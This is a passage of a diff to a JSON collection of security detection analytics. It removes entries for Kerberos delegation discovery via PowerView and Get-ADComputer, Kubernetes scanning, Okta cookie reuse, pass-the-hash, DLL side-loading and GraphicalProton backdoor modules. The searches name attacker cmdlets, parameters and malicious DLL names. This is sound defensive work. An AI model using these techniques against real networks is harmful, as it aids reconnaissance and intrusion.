"APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows Get-AdComputer Unconstrained Delegation Discovery", - "description": "The following analytic detects the use of the Get-ADComputer cmdlet with parameters indicating a search for Windows endpoints with Kerberos Unconstrained Delegation. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this specific activity. This behavior is significant as it may indicate an attempt by adversaries or Red Teams to gain situational awareness and perform Active Directory discovery. If confirmed malicious, this activity could allow attackers to identify high-value targets for further exploitation, potentially leading to privilege escalation or lateral movement within the network.", - "search": " `powershell` EventCode=4104 (ScriptBlockText = \"*Get-ADComputer*\" AND ScriptBlockText = \"*TrustedForDelegation*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_get_adcomputer_unconstrained_delegation_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-ADComputer was identified on endpoint $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows PowerView Constrained Delegation Discovery", - "description": "The following analytic detects the use of PowerView commandlets to discover Windows endpoints with Kerberos Constrained Delegation. It leverages PowerShell Script Block Logging (EventCode=4104) to identify specific commandlets like `Get-DomainComputer` or `Get-NetComputer` with the `-TrustedToAuth` parameter. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams to map out privileged delegation settings in Active Directory. If confirmed malicious, this could allow attackers to identify high-value targets for further exploitation, potentially leading to privilege escalation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainComputer*\" OR ScriptBlockText = \"*Get-NetComputer*\") AND (ScriptBlockText = \"*-TrustedToAuth*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_constrained_delegation_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainComputer was identified on endpoint $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows PowerView Unconstrained Delegation Discovery", - "description": "The following analytic detects the use of PowerView commandlets to discover Windows endpoints with Kerberos Unconstrained Delegation. It leverages PowerShell Script Block Logging (EventCode=4104) to identify specific commands like `Get-DomainComputer` or `Get-NetComputer` with the `-Unconstrained` parameter. This activity is significant as it indicates potential reconnaissance efforts by adversaries or Red Teams to map out privileged delegation settings in Active Directory. If confirmed malicious, this could allow attackers to identify high-value targets for further exploitation, potentially leading to privilege escalation or lateral movement within the network.", - "search": "`powershell` EventCode=4104 (ScriptBlockText = \"*Get-DomainComputer*\" OR ScriptBlockText = \"*Get-NetComputer*\") AND (ScriptBlockText = \"*-Unconstrained*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powerview_unconstrained_delegation_discovery_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "CISA AA23-347A", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious PowerShell Get-DomainComputer was identified on endpoint $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1018", - "mitre_attack_technique": "Remote System Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT32", - "APT39", - "Akira", - "BRONZE BUTLER", - "Chimera", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "FIN5", - "FIN6", - "FIN8", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "HEXANE", - "Indrik Spider", - "Ke3chang", - "Leafminer", - "Magic Hound", - "Naikon", - "Rocke", - "Sandworm Team", - "Scattered Spider", - "Silence", - "Threat Group-3390", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -664355,153 +447444,7 @@ "Event ID": null, "Event Name": "Packet capture" } - ], - { - "name": "Kubernetes Access Scanning", - "description": "The following analytic detects potential scanning activities within a Kubernetes environment. It identifies unauthorized access attempts, probing of public APIs, or attempts to exploit known vulnerabilities by monitoring Kubernetes audit logs for repeated failed access attempts or unusual API requests. This activity is significant for a SOC as it may indicate an attacker's preliminary reconnaissance to gather information about the system. If confirmed malicious, this activity could lead to unauthorized access to sensitive systems or data, posing a severe security risk.", - "search": "`kube_audit` \"user.groups{}\"=\"system:unauthenticated\" \"responseStatus.code\"=403 | iplocation sourceIPs{} | stats count values(userAgent) as userAgent values(user.username) as user.username values(user.groups{}) as user.groups{} values(verb) as verb values(requestURI) as requestURI values(responseStatus.code) as responseStatus.code values(responseStatus.message) as responseStatus.message values(responseStatus.reason) as responseStatus.reason values(responseStatus.status) as responseStatus.status by sourceIPs{} Country City | where count > 5 | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_access_scanning_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes scanning from ip $src_ip$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1046", - "mitre_attack_technique": "Network Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "BackdoorDiplomacy", - "BlackTech", - "Chimera", - "Cobalt Group", - "DarkVishnya", - "FIN13", - "FIN6", - "Fox Kitten", - "Lazarus Group", - "Leafminer", - "Magic Hound", - "Naikon", - "OilRig", - "Rocke", - "Suckfly", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - }, - { - "name": "Kubernetes Scanning by Unauthenticated IP Address", - "description": "The following analytic identifies potential scanning activities within a Kubernetes environment by unauthenticated IP addresses. It leverages Kubernetes audit logs to detect multiple unauthorized access attempts (HTTP 403 responses) from the same source IP. This activity is significant as it may indicate an attacker probing for vulnerabilities or attempting to exploit known issues. If confirmed malicious, such scanning could lead to unauthorized access, data breaches, or further exploitation of the Kubernetes infrastructure, compromising the security and integrity of the environment.", - "search": "`kube_audit` \"user.groups{}\"=\"system:unauthenticated\" \"responseStatus.code\"=403 | iplocation sourceIPs{} | stats count values(userAgent) as userAgent values(user.username) as user.username values(user.groups{}) as user.groups{} values(verb) as verb values(requestURI) as requestURI values(responseStatus.code) as responseStatus.code values(responseStatus.message) as responseStatus.message values(responseStatus.reason) as responseStatus.reason values(responseStatus.status) as responseStatus.status by sourceIPs{} Country City | where count > 5 | rename sourceIPs{} as src_ip, user.username as user | `kubernetes_scanning_by_unauthenticated_ip_address_filter`", - "tags": { - "analytic_story": [ - "Kubernetes Security" - ], - "asset_type": "Kubernetes", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Kubernetes scanning from ip $src_ip$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1046", - "mitre_attack_technique": "Network Service Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT32", - "APT39", - "APT41", - "BackdoorDiplomacy", - "BlackTech", - "Chimera", - "Cobalt Group", - "DarkVishnya", - "FIN13", - "FIN6", - "Fox Kitten", - "Lazarus Group", - "Leafminer", - "Magic Hound", - "Naikon", - "OilRig", - "Rocke", - "Suckfly", - "TeamTNT", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - } - ] - } - } + ] ], "external_reference": [ [ @@ -665788,60 +448731,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" ] - }, - { - "name": "Okta Multiple Failed Requests to Access Applications", - "description": "The following analytic detects multiple failed attempts to access applications in Okta, potentially indicating the reuse of a stolen web session cookie. It leverages Okta logs to evaluate policy and SSO events, aggregating data by user, session, and IP. The detection triggers when more than half of the app sign-on attempts are unsuccessful across multiple applications. This activity is significant as it may indicate an attempt to bypass authentication mechanisms. If confirmed malicious, it could lead to unauthorized access to sensitive applications and data, posing a significant security risk.", - "search": "`okta` target{}.type=AppInstance (eventType=policy.evaluate_sign_on outcome.result=CHALLENGE) OR (eventType=user.authentication.sso outcome.result=SUCCESS) | eval targets=mvzip('target{}.type', 'target{}.displayName', \": \") | eval targets=mvfilter(targets LIKE \"AppInstance%\") | stats count min(_time) as _time values(outcome.result) as outcome.result dc(eval(if(eventType=\"policy.evaluate_sign_on\",targets,NULL))) as total_challenges sum(eval(if(eventType=\"user.authentication.sso\",1,0))) as total_successes by authenticationContext.externalSessionId targets actor.alternateId client.ipAddress | search total_challenges > 0 | stats min(_time) as _time values(*) as * sum(total_challenges) as total_challenges sum(total_successes) as total_successes values(eval(if(\"outcome.result\"=\"SUCCESS\",targets,NULL))) as success_apps values(eval(if(\":outcome.result\"!=\"SUCCESS\",targets,NULL))) as no_success_apps by authenticationContext.externalSessionId actor.alternateId client.ipAddress | fillnull | eval ratio=round(total_successes/total_challenges,2), severity=\"HIGH\", mitre_technique_id=\"T1538\", description=\"actor.alternateId\". \" from \" . \"client.ipAddress\" . \" seen opening \" . total_challenges . \" chiclets/apps with \" . total_successes . \" challenges successfully passed\" | fields - count, targets | search ratio < 0.5 total_challenges > 2 | `okta_multiple_failed_requests_to_access_applications_filter`", - "tags": { - "analytic_story": [ - "Okta Account Takeover" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "actor.alternateId", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple Failed Requests to Access Applications via Okta for $actor.alternateId$.", - "risk_score": 56, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550.004", - "mitre_attack_technique": "Web Session Cookie", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1538", - "mitre_attack_technique": "Cloud Service Dashboard", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Scattered Spider" - ] - } - ] - } } ], "external_reference": [ @@ -667638,83 +450527,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/ad-ds-getting-started" ] - }, - { - "name": "Detect Activity Related to Pass the Hash Attacks", - "description": "This search looks for specific authentication events from the Windows Security Event logs to detect potential attempts at using the Pass-the-Hash technique. This search is DEPRECATED as it is possible for event code 4624 to generate a high level of noise, as legitimate logon events may also trigger this event code. This can be especially true in environments with high levels of user activity, such as those with many concurrent logons or frequent logon attempts.", - "search": "`wineventlog_security` EventCode=4624 (Logon_Type=3 Logon_Process=NtLmSsp NOT AccountName=\"ANONYMOUS LOGON\") OR (Logon_Type=9 Logon_Process=seclogo) | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by EventCode, Logon_Type, WorkstationName, user, dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_activity_related_to_pass_the_hash_attacks_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "EventCode", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "The following $EventCode$ occurred on $dest$ by $user$ with Logon Type 3, which may be indicative of the pass the hash technique.", - "risk_score": 49, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1550", - "mitre_attack_technique": "Use Alternate Authentication Material", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1550.002", - "mitre_attack_technique": "Pass the Hash", - "mitre_attack_tactics": [ - "Defense Evasion", - "Lateral Movement" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT32", - "APT41", - "Chimera", - "FIN13", - "GALLIUM", - "Kimsuky", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -668715,927 +451527,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "MSI Module Loaded by Non-System Binary", - "description": "The following analytic detects the loading of `msi.dll` by a binary not located in `system32`, `syswow64`, `winsxs`, or `windows` directories. This is identified using Sysmon EventCode 7, which logs DLL loads, and filters out legitimate system paths. This activity is significant as it may indicate exploitation of CVE-2021-41379 or DLL side-loading attacks, both of which can lead to unauthorized system modifications. If confirmed malicious, this could allow an attacker to execute arbitrary code, escalate privileges, or persist within the environment.", - "search": "`sysmon` EventCode=7 ImageLoaded=\"*\\\\msi.dll\" NOT (Image IN (\"*\\\\System32\\\\*\",\"*\\\\syswow64\\\\*\",\"*\\\\windows\\\\*\", \"*\\\\winsxs\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msi_module_loaded_by_non_system_binary_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Child Process" - ] - } - ], - "message": "The following module $ImageLoaded$ was loaded by $Image$ outside of the normal system paths on endpoint $dest$, potentally related to DLL side-loading.", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Msmpeng Application DLL Side Loading", - "description": "The following analytic detects the suspicious creation of msmpeng.exe or mpsvc.dll in non-default Windows Defender folders. It leverages the Endpoint.Filesystem datamodel to identify instances where these files are created outside their expected directories. This activity is significant because it is associated with the REvil ransomware, which uses DLL side-loading to execute malicious payloads. If confirmed malicious, this could lead to ransomware deployment, resulting in data encryption, system compromise, and potential data loss or extortion.", - "search": "|tstats `security_content_summariesonly` values(Filesystem.file_path) as file_path count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_name = \"msmpeng.exe\" OR Filesystem.file_name = \"mpsvc.dll\") AND NOT (Filesystem.file_path IN (\"*\\\\Program Files\\\\windows defender\\\\*\",\"*\\\\WinSxS\\\\*defender-service*\",\"*\\\\WinSxS\\\\Temp\\\\*defender-service*\")) by Filesystem.file_create_time Filesystem.process_id Filesystem.file_name Filesystem.user Filesystem.dest | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `msmpeng_application_dll_side_loading_filter`", - "tags": { - "analytic_story": [ - "Ransomware", - "Revil Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious creation of msmpeng.exe or mpsvc.dll in non default windows defender folder on host - $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Side-Loading In Calc", - "description": "The following analytic detects suspicious DLL modules loaded by calc.exe that are not located in the %systemroot%\\system32 or %systemroot%\\sysWoW64 directories. This detection leverages Sysmon EventCode 7 to identify DLL side-loading, a technique often used by Qakbot malware to execute malicious DLLs. This activity is significant as it indicates potential malware execution through a trusted process, which can bypass security controls. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, and escalate privileges within the environment.", - "search": "`sysmon` EventCode=7 Image = \"*\\calc.exe\" AND NOT (Image IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\sysWow64\\\\*\")) AND NOT(ImageLoaded IN(\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\sysWow64\\\\*\", \"*:\\\\windows\\\\WinSXS\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded OriginalFileName Product process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dll_side_loading_in_calc_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a dll modules is loaded by calc.exe in $ImageLoaded$ that are not in common windows OS installation folder in $dest$", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows DLL Side-Loading Process Child Of Calc", - "description": "The following analytic identifies suspicious child processes spawned by calc.exe, indicative of DLL side-loading techniques. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process GUIDs, names, and parent processes. This activity is significant as it is commonly associated with Qakbot malware, which uses calc.exe to load malicious DLLs via regsvr32.exe. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, maintain persistence, and escalate privileges, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"calc.exe\") AND Processes.process_name != \"win32calc.exe\" by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dll_side_loading_process_child_of_calc_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "calc.exe has a child process $process_name$ in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Known Abused DLL Created", - "description": "The following analytic identifies the creation of Dynamic Link Libraries (DLLs) with a known history of exploitation in atypical locations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and filesystem events. This activity is significant as it may indicate DLL search order hijacking or sideloading, techniques used by attackers to execute arbitrary code, maintain persistence, or escalate privileges. If confirmed malicious, this activity could allow attackers to blend in with legitimate operations, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.parent_process_name!=\"unknown\" Processes.process_name=* Processes.process_guid!=null by _time span=1h Processes.dest Processes.user Processes.process_guid Processes.process_name Processes.process Processes.parent_process Processes.parent_process_name | `drop_dm_object_name(Processes)` | join max=0 process_guid dest [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\users\\\\*\",\"*\\\\Windows\\Temp\\\\*\",\"*\\\\programdata\\\\*\") Filesystem.file_name=\"*.dll\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | lookup hijacklibs_loaded library AS file_name OUTPUT islibrary, ttp, comment as desc | lookup hijacklibs_loaded library AS file_name excludes as file_path OUTPUT islibrary as excluded | search islibrary = TRUE AND excluded != TRUE | stats latest(*) as * by dest process_guid ] | where isnotnull(file_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_known_abused_dll_created_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "The file [$file_name$] was written to an unusual location by [$process_name$] on [$dest$].", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Known GraphicalProton Loaded Modules", - "description": "The following analytic detects the loading of DLL modules associated with the GraphicalProton backdoor implant, commonly used by SVR in targeted attacks. It leverages Sysmon EventCode 7 to identify specific DLLs loaded by processes. This activity is significant as it may indicate the presence of a sophisticated backdoor, warranting immediate investigation. If confirmed malicious, the attacker could gain persistent access to the compromised host, potentially leading to further exploitation and data exfiltration.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\AclNumsInvertHost.dll\", \"*\\\\ModeBitmapNumericAnimate.dll\", \"*\\\\UnregisterAncestorAppendAuto.dll\", \"*\\\\DeregisterSeekUsers.dll\", \"*\\\\ScrollbarHandleGet.dll\", \"*\\\\PerformanceCaptionApi.dll\", \"*\\\\WowIcmpRemoveReg.dll\", 